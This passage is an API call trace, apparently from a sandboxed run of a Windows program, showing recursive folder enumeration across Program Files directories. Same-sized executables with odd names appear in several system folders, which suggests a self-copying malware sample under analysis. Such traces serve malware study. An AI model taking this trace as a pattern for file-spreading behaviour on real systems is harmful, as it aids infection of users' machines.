ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.795] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0244.795] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.795] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.795] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0244.796] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.796] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0244.797] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.797] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0244.797] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1deb9a60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1deb9a60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0244.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.797] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0244.798] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.798] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0244.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0244.798] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1306f0, ftCreationTime.dwHighDateTime=0x1d583f7, ftLastAccessTime.dwLowDateTime=0xb043dcb0, ftLastAccessTime.dwHighDateTime=0x1d54c5b, ftLastWriteTime.dwLowDateTime=0xb043dcb0, ftLastWriteTime.dwHighDateTime=0x1d54c5b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0244.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.800] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bd3a10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bd3a10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.801] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8406ab0, ftCreationTime.dwHighDateTime=0x1d55b98, ftLastAccessTime.dwLowDateTime=0x77d193f0, ftLastAccessTime.dwHighDateTime=0x1d59a5c, ftLastWriteTime.dwLowDateTime=0x77d193f0, ftLastWriteTime.dwHighDateTime=0x1d59a5c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0244.801] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.802] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa163da50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa163da50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.802] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.802] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f12b8c0, ftCreationTime.dwHighDateTime=0x1d57b45, ftLastAccessTime.dwLowDateTime=0x7d559d60, ftLastAccessTime.dwHighDateTime=0x1d583c0, ftLastWriteTime.dwLowDateTime=0x7d559d60, ftLastWriteTime.dwHighDateTime=0x1d583c0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0244.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.802] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa163da50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa163da50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.802] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f12b8c0, ftCreationTime.dwHighDateTime=0x1d57b45, ftLastAccessTime.dwLowDateTime=0x7d559d60, ftLastAccessTime.dwHighDateTime=0x1d583c0, ftLastWriteTime.dwLowDateTime=0x7d559d60, ftLastWriteTime.dwHighDateTime=0x1d583c0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0244.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.803] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.803] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb63aff00, ftCreationTime.dwHighDateTime=0x1d561cc, ftLastAccessTime.dwLowDateTime=0x2cffbb20, ftLastAccessTime.dwHighDateTime=0x1d574d9, ftLastWriteTime.dwLowDateTime=0x2cffbb20, ftLastWriteTime.dwHighDateTime=0x1d574d9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0244.803] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.803] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.804] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.804] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.804] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0244.806] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.806] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.806] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0244.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.807] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.807] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb63aff00, ftCreationTime.dwHighDateTime=0x1d561cc, ftLastAccessTime.dwLowDateTime=0x2cffbb20, ftLastAccessTime.dwHighDateTime=0x1d574d9, ftLastWriteTime.dwLowDateTime=0x2cffbb20, ftLastWriteTime.dwHighDateTime=0x1d574d9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0244.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.807] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.807] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9fc349b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fc349b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.807] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.807] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.807] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.807] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0244.807] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0244.808] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.809] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.809] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.809] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.809] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.809] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0244.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.813] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.814] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0244.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.816] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.816] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, 